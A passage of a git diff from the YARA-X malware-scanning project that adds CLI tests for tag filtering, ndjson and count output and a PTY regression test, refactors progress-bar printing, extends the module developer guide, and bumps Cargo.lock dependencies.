.arg("--output-format=ndjson") + .arg("--tag=tag_c") + .arg(rules_file.path()) + .arg("src/tests/testdata/dummy.file") + .assert() + .success() + .stdout(""); + + // JSON: only rule_a should be in `matches` when filtering by tag_a. + let output = Command::new(cargo_bin!("yr")) + .arg("scan") + .arg("--output-format=json") + .arg("--tag=tag_a") + .arg(rules_file.path()) + .arg("src/tests/testdata/dummy.file") + .assert() + .success() + .get_output() + .stdout + .clone(); + + let json: serde_json::Value = + serde_json::from_slice(&output).expect("valid JSON output"); + let matches = json["matches"].as_array().unwrap(); + assert_eq!(matches.len(), 1); + assert_eq!(matches[0]["rule"], "rule_a"); + + // JSON: `matches` should be empty when filtering by a non-matching tag. + let output = Command::new(cargo_bin!("yr")) + .arg("scan") + .arg("--output-format=json") + .arg("--tag=tag_c") + .arg(rules_file.path()) + .arg("src/tests/testdata/dummy.file") + .assert() + .success() + .get_output() + .stdout + .clone(); + + let json: serde_json::Value = + serde_json::from_slice(&output).expect("valid JSON output"); + let matches = json["matches"].as_array().unwrap(); + assert!(matches.is_empty()); } #[test] @@ -263,6 +348,32 @@ warning[unsupported_module]: module `unknown` is not supported ); } +#[test] +fn ignore_supported_module() { + Command::new(cargo_bin!("yr")) + .arg("scan") + .arg("--ignore-module=math") + .arg("src/tests/testdata/known_module.yar") + .arg("src/tests/testdata/dummy.file") + .assert() + .success() + .stderr( + r#"warning[unsupported_module]: module `math` is not supported + --> src/tests/testdata/known_module.yar:1:1 + | +1 | import "math" + | ------------- module `math` used here +warning[unsupported_module]: module `math` is not supported + --> src/tests/testdata/known_module.yar:5:6 + | +5 | math.entropy(0, filesize) >= 0 + | ---- module `math` used here + | + = note: the whole rule `test` will be ignored +"#, + ); +} + #[test] fn recursive() { Command::new(cargo_bin!("yr")) @@ -489,3 +600,203 @@ fn ignore_invalid_rules() { .success() .stdout(predicate::str::contains("valid_rule")); } + +#[test] +fn format_ndjson_omits_non_matching_files() { + let temp_dir = TempDir::new().unwrap(); + let matching_file = temp_dir.child("matching.file"); + let non_matching_file = temp_dir.child("non_matching.file"); + + matching_file.write_str("foo").unwrap(); + non_matching_file.write_str("bar").unwrap(); + + let expected_path = matching_file.path().to_str().unwrap(); + + // Non-matching files should not appear in ndjson output. + Command::new(cargo_bin!("yr")) + .arg("scan") + .arg("--output-format=ndjson") + .arg("src/tests/testdata/foo.yar") + .arg(temp_dir.path()) + .assert() + .success() + .stdout(format!( + "{{\"path\":{},\"rules\":[{{\"identifier\":\"foo\"}}]}}\n", + serde_json::to_string(expected_path).unwrap() + )); + + // When --tag filters out all matching rules, nothing should be emitted. + Command::new(cargo_bin!("yr")) + .arg("scan") + .arg("--output-format=ndjson") + .arg("--tag=non_existent_tag") + .arg("src/tests/testdata/foo.yar") + .arg(temp_dir.path()) + .assert() + .success() + .stdout(""); + + // With --count, only files with count > 0 should be emitted. + Command::new(cargo_bin!("yr")) + .arg("scan") + .arg("--output-format=ndjson") + .arg("--count") + .arg("src/tests/testdata/foo.yar") + .arg(temp_dir.path()) + .assert() + .success() + .stdout(format!( + "{{\"path\":{},\"count\":1}}\n", + serde_json::to_string(expected_path).unwrap() + )); + + // With --count and --tag filtering out matches, nothing should be emitted. + Command::new(cargo_bin!("yr")) + .arg("scan") + .arg("--output-format=ndjson") + .arg("--count") + .arg("--tag=non_existent_tag") + .arg("src/tests/testdata/foo.yar") + .arg(temp_dir.path()) + .assert() + .success() + .stdout(""); +} + +#[test] +fn count_omits_non_matching_files() { + let temp_dir = TempDir::new().unwrap(); + let matching_file = temp_dir.child("matching.file"); + let non_matching_file = temp_dir.child("non_matching.file"); + + matching_file.write_str("foo").unwrap(); + non_matching_file.write_str("bar").unwrap(); + + Command::new(cargo_bin!("yr")) + .arg("scan") + .arg("--count") + .arg("src/tests/testdata/foo.yar") + .arg(temp_dir.path()) + .assert() + .success() + .stdout(format!("{}: 1\n", matching_file.path().display())); + + Command::new(cargo_bin!("yr")) + .arg("scan") + .arg("--count") + .arg("--tag=non_existent_tag") + .arg("src/tests/testdata/foo.yar") + .arg(temp_dir.path()) + .assert() + .success() + .stdout(""); +} + +// Regression test for https://github.com/VirusTotal/yara-x/issues/785. +// +// When `yr scan` runs in an interactive terminal (both `stdout` and `stderr` +// are TTYs), `ParWalker` uses an `indicatif::ProgressBar` to display the scan +// progress. Previously, output lines were printed via `MultiProgress::println`, +// which pads lines with spaces up to the terminal width instead of writing `\n` +// characters. +// +// Standard `Command` tests pipe `stdout` and `stderr`, so `is_tty()` is `false` +// and the progress bar code path is not exercised. To test the interactive +// terminal behavior, we allocate a pseudo-terminal (PTY) pair via `openpty` and +// attach the child process's `stdin`, `stdout`, and `stderr` to the `slave` end +// of the PTY while reading the combined terminal stream from the `master` end. +#[cfg(unix)] +#[test] +fn issue_785() { + use std::fs::File; + use std::io::Read; + use std::os::fd::FromRawFd; + use std::process::Stdio; + use std::ptr; + + #[repr(C)] + struct Winsize { + ws_row: u16, + ws_col: u16, + ws_xpixel: u16, + ws_ypixel: u16, + } + + unsafe extern "C" { + fn openpty( + amaster: *mut std::ffi::c_int, + aslave: *mut std::ffi::c_int, + name: *mut std::ffi::c_char, + termp: *const std::ffi::c_void, + winp: *const Winsize, + ) -> std::ffi::c_int; + } + + let mut master_fd = -1; + let mut slave_fd = -1; + + // Set a non-zero terminal window size (80x24) so `indicatif` / `console` + // detects valid terminal dimensions when querying `TIOCGWINSZ`. + let ws = Winsize { ws_row: 24, ws_col: 80, ws_xpixel: 0, ws_ypixel: 0 }; + + let ret = unsafe { + openpty( + &mut master_fd, + &mut slave_fd, + ptr::null_mut(), + ptr::null(), + &ws, + ) + }; + assert_eq!(ret, 0); + + let mut master = unsafe { File::from_raw_fd(master_fd) }; + let slave = unsafe { File::from_raw_fd(slave_fd) }; + + let mut cmd = std::process::Command::new(cargo_bin!("yr")); + + cmd.arg("scan") + .arg("--print-strings") + .arg("src/tests/testdata/foo.yar") + .arg("src/tests/testdata/dummy.file") + // `TERM` must be set to a value other than `"dumb"` because `indicatif` + // checks `console::is_dumb()`, which on Unix returns `true` if `TERM` is + // unset or `"dumb"` (as is common in CI environments). When `is_dumb()` is + // `true`, `indicatif` falls back to a hidden draw target and bypasses its + // terminal rendering logic. + .env("TERM", "xterm-256color") + .stdin(Stdio::from(slave.try_clone().unwrap())) + .stdout(Stdio::from(slave.try_clone().unwrap())) + .stderr(Stdio::from(slave)); + + let mut child = cmd.spawn().unwrap(); + + // `cmd` holds the `Stdio` file descriptors duplicated from `slave`. Drop + // `cmd` immediately after spawning so no `slave` file descriptors remain + // open in the parent process; otherwise, reading from `master` below would + // block forever after the child exits. + drop(cmd); + + // Read all output produced by the child from the PTY master until the + // slave side is closed. Once the child exits and all slave descriptors are + // closed, `read` returns `Ok(0)` on macOS/BSD or `Err(EIO)` on Linux. + let mut output = Vec::new(); + let mut buf = [0u8; 1024]; + loop { + match master.read(&mut buf) { + Ok(0) | Err(_) => break, + Ok(n) => output.extend_from_slice(&buf[..n]), + } + } + + assert!(child.wait().unwrap().success()); + + // The PTY line discipline translates `\n` into `\r\n` (`ONLCR`). Verify + // that each output line is terminated by `\r\n` rather than padded with + // spaces to the 80-column terminal width. + let output = String::from_utf8(output).unwrap(); + assert!( + output.contains("0x0:3:$foo: foo\r\n0x0:3:$foo_hex: 66 6f 6f\r\n"), + "unexpected terminal output: {output:?}" + ); +} diff --git a/cli/src/tests/testdata/known_module.yar b/cli/src/tests/testdata/known_module.yar new file mode 100644 index 000000000..705ad90cd --- /dev/null +++ b/cli/src/tests/testdata/known_module.yar @@ -0,0 +1,6 @@ +import "math" + +rule test { + condition: + math.entropy(0, filesize) >= 0 +} \ No newline at end of file diff --git a/cli/src/walk.rs b/cli/src/walk.rs index 674618895..02b30d6e4 100644 --- a/cli/src/walk.rs +++ b/cli/src/walk.rs @@ -10,7 +10,7 @@ use anyhow::{Context, bail}; use crossbeam::channel::{RecvTimeoutError, SendError, Sender}; use crossterm::tty::IsTty; use globwalk::FileType; -use indicatif::{MultiProgress, ProgressBar, ProgressStyle}; +use indicatif::{ProgressBar, ProgressStyle}; pub trait Draw { fn draw(&self, width: usize) -> String; @@ -142,6 +142,10 @@ impl<'a> Walker<'a> { F: FnMut(&Path) -> anyhow::Result<()>, E: FnMut(anyhow::Error) -> anyhow::Result<()>, { + if self.file_list && self.path == Path::new("-") { + return self.walk_file_list(f, e); + } + let metadata = match self.path.metadata().with_context(|| { format!("can't open `{}`", self.path.display()) @@ -170,14 +174,32 @@ impl<'a> Walker<'a> { } } - fn walk_file_list(self, mut f: F, mut e: E) -> anyhow::Result<()> + fn walk_file_list(self, f: F, e: E) -> anyhow::Result<()> where F: FnMut(&Path) -> anyhow::Result<()>, E: FnMut(anyhow::Error) -> anyhow::Result<()>, { - let file = File::open(self.path)?; + if self.path == Path::new("-") { + let stdin = io::stdin(); + self.walk_file_list_lines(stdin.lock().lines(), f, e) + } else { + let file = File::open(self.path)?; + self.walk_file_list_lines(io::BufReader::new(file).lines(), f, e) + } + } - for line in io::BufReader::new(file).lines() { + fn walk_file_list_lines( + self, + lines: I, + mut f: F, + mut e: E, + ) -> anyhow::Result<()> + where + F: FnMut(&Path) -> anyhow::Result<()>, + E: FnMut(anyhow::Error) -> anyhow::Result<()>, + I: Iterator>, + { + for line in lines { let path = PathBuf::from(line?); let metadata = match path .metadata() @@ -539,24 +561,12 @@ impl<'a> ParWalker<'a> { } })); - // `multi_progress` will be `None` if the `logging` feature is - // enabled or if either stdout or stderr is not a tty (for example - // when any of them are redirected to a file). - let multi_progress = if cfg!(feature = "logging") { - None - } else if io::stdout().is_tty() { - Some(MultiProgress::new()) - } else { - None - }; - let render_period = Duration::from_secs_f64(0.150); output_messages( render_period, Instant::now(), msg_recv, - multi_progress.as_ref(), state.clone(), ); @@ -567,13 +577,11 @@ impl<'a> ParWalker<'a> { let handle = { let state = state.clone(); - let multi_progress = multi_progress.clone(); thread::spawn(move || { output_messages( render_period, Instant::now(), msg_recv, - multi_progress.as_ref(), state.clone(), ); }) @@ -598,32 +606,39 @@ fn output_messages( render_period: Duration, last_render: Instant, msg_recv: crossbeam::channel::Receiver, - multi_progress: Option<&MultiProgress>, state: Arc, ) where S: Draw, { let mut last_render = last_render; - let pb = multi_progress.map(|mp| { - let pb = mp.add(ProgressBar::new_spinner()); + + // `pb` will be `None` if the `stderr-logs` feature is enabled or if + // either stdout or stderr is not a tty (for example when any of them + // are redirected to a file). + let pb = if cfg!(feature = "stderr-logs") { + None + } else if io::stdout().is_tty() && io::stderr().is_tty() { + let pb = ProgressBar::new_spinner(); pb.set_style( ProgressStyle::default_spinner().template("{msg}").unwrap(), ); - pb - }); + Some(pb) + } else { + None + }; loop { match msg_recv.recv_timeout(render_period) { Ok(Message::Info(s)) => { - if let Some(mp) = multi_progress { - let _ = mp.println(s); + if let Some(pb) = &pb { + pb.suspend(|| println!("{s}")); } else { println!("{s}") } } Ok(Message::Error(s)) => { - if let Some(mp) = multi_progress { - let _ = mp.println(s); + if let Some(pb) = &pb { + pb.suspend(|| eprintln!("{s}")); } else { eprintln!("{s}") } diff --git a/docs/ModuleDeveloperGuide.md b/docs/ModuleDeveloperGuide.md index 6bbbf8320..9d2255301 100644 --- a/docs/ModuleDeveloperGuide.md +++ b/docs/ModuleDeveloperGuide.md @@ -32,6 +32,8 @@ words - [Adding callable functions to an external module](#adding-callable-functions-to-an-external-module) - [Overriding the module output at scan time](#overriding-the-module-output-at-scan-time) - [Ensuring the module is linked](#ensuring-the-module-is-linked) + - [Using external modules with C API](#using-external-modules-with-c-api) + - [Using external modules with Python](#using-external-modules-with-python) - [Tests](#tests) - [Structuring Testdata Input](#structuring-testdata-input) - [Linux](#linux) @@ -71,7 +73,6 @@ package text; option (yara.module_options) = { name : "text" root_message: "text.Text" - rust_module: "text" cargo_feature: "text-module" }; @@ -199,6 +200,20 @@ rule text_with_100_words { } ``` +Notice that `num_lines` and `num_words` are `int64` fields. In YARA rules, +fields of type `int64` and `int32` are signed integers. Fields of type `uint32` +are never negative, but all their values fit in an `int64`, so they are promoted +to `int64` when used in operations. For instance, if `num_words` were a `uint32` +field equal to zero, `text.num_words - 1` would be `-1`. However, the values of +`uint64` fields can exceed the maximum `int64` value (`0x7FFFFFFFFFFFFFFF`), so +they can't be promoted, and they are unsigned integers. Arithmetic with unsigned +integers wraps around instead of producing negative numbers. If `num_words` were +a `uint64` field equal to zero, `text.num_words - 1` would be +`0xFFFFFFFFFFFFFFFF` instead of `-1`, which is probably not what the author of +the rule expects. For this reason, it's better to use `int64` for counts, sizes +and offsets, as the built-in modules do, and use `uint64` only for values that +can exceed `0x7FFFFFFFFFFFFFFF`. + Of course, we are not done yet. So far we have defined the structure of our module, but we need to populate that structure with actual values extracted from the scanned files. That's where the module's main function enters into play. But @@ -1053,7 +1068,7 @@ syntax = "proto2"; package foobar; message Foobar { - optional uint64 count = 1; + optional int64 count = 1; optional string label = 2; repeated string tags = 3; } @@ -1100,7 +1115,7 @@ fn foobar_main( data: &[u8], ) -> Result { let mut out = Foobar::new(); - out.count = Some(data.len() as u64); + out.count = Some(data.len() as i64); out.label = Some("foobar".to_owned()); Ok(out) } @@ -1207,6 +1222,82 @@ let names: Vec<&str> = yara_x::mods::module_names().collect(); assert!(names.contains(&"foobar")); ``` +### Using external modules with C API + +To use your custom module with the YARA-X C API, create a small wrapper crate +that depends on both `yara-x-capi` and your custom module crate, and compiles +as a `cdylib` / `staticlib`: + +`Cargo.toml`: +```toml +[package] +name = "my-yara-capi" +version = "0.1.0" +edition = "2024" + +[lib] +name = "yara_x_capi" +crate-type = ["cdylib", "staticlib"] + +[dependencies] +yara-x-capi = "1.19.0" +my-custom-module = { path = "../my-custom-module" } +``` + +`src/lib.rs`: +```rust +// Re-export all C API symbols (yrx_*) +pub use yara_x_capi::*; + +// Ensure custom module symbols and inventory registration are linked +use my_custom_module as _; +``` + +Building this crate with `cargo build --release` produces `libyara_x_capi.so` +(or `.dylib` / `.dll`) containing the full C API with your custom module +included. + +### Using external modules with Python + +Similarly, to use your custom module from Python, create a wrapper crate that +bundles `yara-x-py` and your custom module: + +`Cargo.toml`: +```toml +[package] +name = "yara-x" +version = "1.19.0" +edition = "2024" + +[lib] +name = "yara_x" +crate-type = ["cdylib"] + +[dependencies] +yara-x-py = { package = "yara-x-py", version = "1.19.0" } +my-custom-module = { path = "../my-custom-module" } +pyo3 = { version = "0.29.2", features = ["abi3", "abi3-py38", "extension-module"] } + +[build-dependencies] +pyo3-build-config = "0.29.2" +``` + +`src/lib.rs`: +```rust +pub use yara_x_py::*; +use my_custom_module as _; +``` + +`build.rs`: +```rust +fn main() { + pyo3_build_config::add_extension_module_link_args(); +} +``` + +Building with `maturin build` or `maturin develop` produces a Python wheel/extension +module with your custom module available under `import yara_x`. + ## Tests You'll notice that each module in `/lib/src/modules/` has a `tests/` diff --git a/examples/custom-module/Cargo.lock b/examples/custom-module/Cargo.lock index 1c1fe4176..9f7f2c1e9 100644 --- a/examples/custom-module/Cargo.lock +++ b/examples/custom-module/Cargo.lock @@ -43,9 +43,9 @@ dependencies = [ [[package]] name = "annotate-snippets" -version = "0.12.16" +version = "0.12.17" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f211a51805bc641f3ad5b7664c77d2547af685cc33b4cd8d31964027a46f13f1" +checksum = "b2a5b0a5ab8561c603f16c3b78c24a386b1f70e7fc1b1b1e8c15738828e4a176" dependencies = [ "anstyle", "memchr", @@ -60,9 +60,9 @@ checksum = "940b3a0ca603d1eade50a4846a2afffd5ef57a9feac2c0e2ec2e14f9ead76000" [[package]] name = "anyhow" -version = "1.0.102" +version = "1.0.104" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7f202df86484c868dbad7eaa557ef785d5c66295e41b460ef922eca0723b842c" +checksum = "330a5ed07fa54e4702c9d6c4174f74427fc0ef6e214bbd677ae50a5099946470" [[package]] name = "arbitrary" @@ -88,7 +88,7 @@ dependencies = [ "nom 7.1.3", "num-traits", "rusticata-macros", - "thiserror 2.0.18", + "thiserror 2.0.21", "time", ] @@ -100,7 +100,7 @@ checksum = "3109e49b1e4909e9db6515a30c633684d68cdeaa252f215214cb4fa1a5bfee2c" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 2.0.117", "synstructure", ] @@ -112,7 +112,7 @@ checksum = "7b18050c2cd6fe86c3a76584ef5e0baf286d038cda203eb6223df2cc413565f7" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 2.0.117", ] [[package]] @@ -123,7 +123,7 @@ checksum = "9035ad2d096bed7955a320ee7e2230574d28fd3c3a0f186cbea1ff3c7eed5dbb" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 2.0.117", ] [[package]] @@ -134,15 +134,15 @@ checksum = "c08606f8c3cbf4ce6ec8e28fb0014a2c086708fe954eaa885384a6165172e7e8" [[package]] name = "base16ct" -version = "0.2.0" +version = "1.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4c7f02d4ea65f2c1853089ffd8d2787bdbc63de2f0d29dedbcf8ccdfa0ccd4cf" +checksum = "fd307490d624467aa6f74b0eabb77633d1f758a7b25f12bceb0b22e08d9726f6" [[package]] name = "base64" -version = "0.22.1" +version = "0.23.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6" +checksum = "ac07cdecf99051d9a5238b80f35af32cdeba5b336e55d957b318b50137e18da5" [[package]] name = "base64ct" @@ -150,12 +150,6 @@ version = "1.8.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "2af50177e190e07a26ab74f8b1efbfe2ef87da2116221318cb1c2e82baf7de06" -[[package]] -name = "beef" -version = "0.5.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3a8241f3ebb85c056b509d4327ad0358fbbba6ffb340bf388f26350aeda225b1" - [[package]] name = "bincode" version = "2.0.1" @@ -178,9 +172,9 @@ dependencies = [ [[package]] name = "bitflags" -version = "2.13.0" +version = "2.13.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b4388bee8683e3d04af747c73422af53102d2bd24d9eadb6cbc100baef4b43f8" +checksum = "3ded4057c258ba199e2d26386d3af3780957ecaee6c4ef4041c6b4b8b97c0b06" dependencies = [ "serde_core", ] @@ -207,15 +201,25 @@ dependencies = [ "generic-array", ] +[[package]] +name = "block-buffer" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d2f6c7dbe95a6ed67ad9f18e57daf93a2f034c524b99fd2b76d18fdfeb6660aa" +dependencies = [ + "hybrid-array", + "zeroize", +] + [[package]] name = "bstr" -version = "1.12.1" +version = "1.13.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "63044e1ae8e69f3b5a92c736ca6269b8d12fa7efe39bf34ddb06d102cf0e2cab" +checksum = "6bb31b46c14244e20ee9984b11bf5c992b91fb6939fea616e3512c8baecdbe5f" dependencies = [ "memchr", "regex-automata", - "serde", + "serde_core", ] [[package]] @@ -243,6 +247,12 @@ version = "1.0.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "9330f8b2ff13f34540b44e946ef35111825727b38d33286ef986142615121801" +[[package]] +name = "cfg_aliases" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f079e83a288787bcd14a6aea84cee5c87a67c5a3e660c30f557a3d24761b3527" + [[package]] name = "chrono" version = "0.4.45" @@ -256,20 +266,26 @@ dependencies = [ "windows-link", ] +[[package]] +name = "cmov" +version = "0.5.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0c9ea0ac24bc397ab3c98583a3c9ba74fa56b09a4449bbe172b9b1ddb016027a" + [[package]] name = "cobs" version = "0.3.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "0fa961b519f0b462e3a3b4a34b64d119eeaca1d59af726fe450bbba07a9fc0a1" dependencies = [ - "thiserror 2.0.18", + "thiserror 2.0.21", ] [[package]] name = "const-oid" -version = "0.9.6" +version = "0.10.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c2459377285ad874054d797f3ccebf984978aa39129f6eafde5cdc8315b612f8" +checksum = "a6ef517f0926dd24a1582492c791b6a4818a4d94e789a334894aa15b0d12f55c" [[package]] name = "core-foundation-sys" @@ -283,6 +299,21 @@ version = "3.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "7704b5fdd17b18ae31c4c1da5a2e0305a2bf17b5249300a9ee9ed7b72114c636" +[[package]] +name = "cpp_demangle" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0667304c32ea56cb4cd6d2d7c0cfe9a2f8041229db8c033af7f8d69492429def" +dependencies = [ + "cfg-if", +] + +[[package]] +name = "cpubits" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "15b85f9c39137c3a891689859392b1bd49812121d0d61c9caf00d46ed5ce06ae" + [[package]] name = "cpufeatures" version = "0.2.17" @@ -292,29 +323,38 @@ dependencies = [ "libc", ] +[[package]] +name = "cpufeatures" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5ca28b0ae3115b884660db4118d803791fd6756b6e88f39c0f3f7859060d7566" +dependencies = [ + "libc", +] + [[package]] name = "cranelift-assembler-x64" -version = "0.130.2" +version = "0.135.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "adc822414b18d1f5b1b33ce1441534e311e62fef86ebb5b9d382af857d0272c9" +checksum = "10c7459262c93a3c408bda96acaaa3d92868f166b33d445b20921f8378325038" dependencies = [ "cranelift-assembler-x64-meta", ] [[package]] name = "cranelift-assembler-x64-meta" -version = "0.130.2" +version = "0.135.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8c646808b06f4532478d8d6057d74f15c3322f10d995d9486e7dcea405bf521a" +checksum = "97a25bfba0da265ef1f98728358e9bb3ab7489913e7bd759c743108892288934" dependencies = [ "cranelift-srcgen", ] [[package]] name = "cranelift-bforest" -version = "0.130.2" +version = "0.135.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7b5996f01a686b2349cdb379083ec5ad3e8cb8767fb2d495d3a4f2ee4163a18d" +checksum = "32a9ad33269057337a70db66950f426fbdce436a66fe8071f55851a13a2e40cd" dependencies = [ "cranelift-entity", "wasmtime-internal-core", @@ -322,9 +362,9 @@ dependencies = [ [[package]] name = "cranelift-bitset" -version = "0.130.2" +version = "0.135.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "523fea83273f6a985520f57788809a4de2165794d9ab00fb1254fceb4f5aa00c" +checksum = "d322e6584efe3b229b1164b49edf55aec561553426f7fe3e228a45e80a15a190" dependencies = [ "serde", "serde_derive", @@ -333,9 +373,9 @@ dependencies = [ [[package]] name = "cranelift-codegen" -version = "0.130.2" +version = "0.135.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d73d1e372730b5f64ed1a2bd9f01fe4686c8ec14a28034e3084e530c8d951878" +checksum = "6a7b9f73f97da69d6edc9adbfeec068cdb2649f0221be41abd3909267cb1cd53" dependencies = [ "bumpalo", "cranelift-assembler-x64", @@ -347,13 +387,16 @@ dependencies = [ "cranelift-entity", "cranelift-isle", "gimli 0.33.0", - "hashbrown 0.16.1", + "hashbrown 0.17.1", "libm", "log", + "postcard", "pulley-interpreter", "regalloc2", - "rustc-hash 2.1.2", + "rustc-hash 2.1.3", "serde", + "serde_derive", + "sha2 0.10.9", "smallvec", "target-lexicon", "wasmtime-internal-core", @@ -361,9 +404,9 @@ dependencies = [ [[package]] name = "cranelift-codegen-meta" -version = "0.130.2" +version = "0.135.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b0319c18165e93dc1ebf78946a8da0b1c341c95b4a39729a69574671639bdb5f" +checksum = "e7015ef10993d7129e0bce933874b60dab8187239aca4ceca352987d9907d528" dependencies = [ "cranelift-assembler-x64-meta", "cranelift-codegen-shared", @@ -374,24 +417,24 @@ dependencies = [ [[package]] name = "cranelift-codegen-shared" -version = "0.130.2" +version = "0.135.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9195cd8aeecb55e401aa96b2eaa55921636e8246c127ed7908f7ef7e0d40f270" +checksum = "37916b08a7b17e063bae743cb746da542df7df283ced961aae213620dc11e27a" [[package]] name = "cranelift-control" -version = "0.130.2" +version = "0.135.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8976c2154b74136322befc74222ab5c7249edd7e2604f8cbef2b94975541ffb9" +checksum = "8154d189f2cc2a84a95a8129773799ddcf2f4609f667047db30715db4be6aa0a" dependencies = [ "arbitrary", ] [[package]] name = "cranelift-entity" -version = "0.130.2" +version = "0.135.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6038b3147c7982f4951150d5f96c7c06c1e7214b99d4b4a98607aadf8ded89d1" +checksum = "ccbd0c43e96db753f44a84e44f680f9423ed0a475b81f301ba7c44b5db52c37b" dependencies = [ "cranelift-bitset", "serde", @@ -401,11 +444,12 @@ dependencies = [ [[package]] name = "cranelift-frontend" -version = "0.130.2" +version = "0.135.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4cbd294abe236e23cc3d907b0936226b6a8342db7636daa9c7c72be1e323420e" +checksum = "5b28ae2961cdda7a6814431b40e87bee46e57b7f92294467b32f447108e14674" dependencies = [ "cranelift-codegen", + "hashbrown 0.17.1", "log", "smallvec", "target-lexicon", @@ -413,15 +457,15 @@ dependencies = [ [[package]] name = "cranelift-isle" -version = "0.130.2" +version = "0.135.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b5a90b6ed3aba84189352a87badeb93b2126d3724225a42dc67fdce53d1b139c" +checksum = "41eef45b50970e024d673e3fc4a0703e4fee75ca31d63b26566eb0f142300179" [[package]] name = "cranelift-native" -version = "0.130.2" +version = "0.135.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c3ec0cc1a54e22925eacf4fc3dc815f907734d3b377899d19d52bec04863e853" +checksum = "649c7b9ad93d5d92287fee74608cacfb139602116293a46e2f25e6ea5402f05c" dependencies = [ "cranelift-codegen", "libc", @@ -430,15 +474,15 @@ dependencies = [ [[package]] name = "cranelift-srcgen" -version = "0.130.2" +version = "0.135.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "948865622f87f30907bb46fbb081b235ae63c1896a99a83c26a003305c1fa82d" +checksum = "da04416d8e400ad7ae6d9722db72bfbddfbf36d0ff528ec422c4cc336621a172" [[package]] name = "crc32fast" -version = "1.5.0" +version = "1.5.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9481c1c90cbf2ac953f07c8d4a58aa3945c425b7185c9154d67a65e4230da511" +checksum = "5f97d3416d5337d15c4b0d78c8c91df922ca143f57ec20e2d1c188333047ef04" dependencies = [ "cfg-if", ] @@ -470,12 +514,17 @@ checksum = "d0a5c400df2834b80a4c3327b3aad3a4c4cd4de0629063962b03235697506a28" [[package]] name = "crypto-bigint" -version = "0.5.5" +version = "0.7.10" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0dc92fb57ca44df6db8059111ab3af99a63d5d0f8375d9972e319a379c6bab76" +checksum = "9c035cb64cba03dad2fb921f3e218785e8cf9a41790da5eb3a1400f62fa2be11" dependencies = [ - "generic-array", + "cpubits", + "ctutils", + "getrandom", + "hybrid-array", + "num-traits", "rand_core", + "serdect", "subtle", "zeroize", ] @@ -490,6 +539,37 @@ dependencies = [ "typenum", ] +[[package]] +name = "crypto-common" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ce6e4c961d6cd6c9a86db418387425e8bdeaf05b3c8bc1411e6dca4c252f1453" +dependencies = [ + "getrandom", + "hybrid-array", + "rand_core", +] + +[[package]] +name = "crypto-primes" +version = "0.7.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3633a51a39c69ebbaa4feaa694bd83d241e4093901c84a0963b19d9bb3f0cf8f" +dependencies = [ + "crypto-bigint", + "rand_core", +] + +[[package]] +name = "ctutils" +version = "0.4.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "261af4dc7a06ea8a527a8717d8cbba3417530d6ea14e1edb3de6b67806be474f" +dependencies = [ + "cmov", + "subtle", +] + [[package]] name = "custom-module" version = "0.0.0" @@ -502,15 +582,15 @@ dependencies = [ [[package]] name = "daachorse" -version = "3.0.2" +version = "5.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "99251f238b74cd219a86fe6ea9328308ebb223fcbb5b8eb5aa400b847a41dded" +checksum = "6662915a20ca97f4c293df4b589dda442f852429f50fda4f1d779f12cb7fe98f" [[package]] name = "darling" -version = "0.23.0" +version = "0.24.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "25ae13da2f202d56bd7f91c25fba009e7717a1e4a1cc98a76d844b65ae912e9d" +checksum = "ed17f5901b6630b993ca003def43f2f8ef4014fc13b047b57aad617ff32bc2ec" dependencies = [ "darling_core", "darling_macro", @@ -518,26 +598,26 @@ dependencies = [ [[package]] name = "darling_core" -version = "0.23.0" +version = "0.24.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9865a50f7c335f53564bb694ef660825eb8610e0a53d3e11bf1b0d3df31e03b0" +checksum = "6837e2cf7485aaae18f86181d2f0e9a7ed297a025e220aeabf63fdebd3a2ddff" dependencies = [ "ident_case", "proc-macro2", "quote", "strsim", - "syn", + "syn 3.0.9", ] [[package]] name = "darling_macro" -version = "0.23.0" +version = "0.24.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = 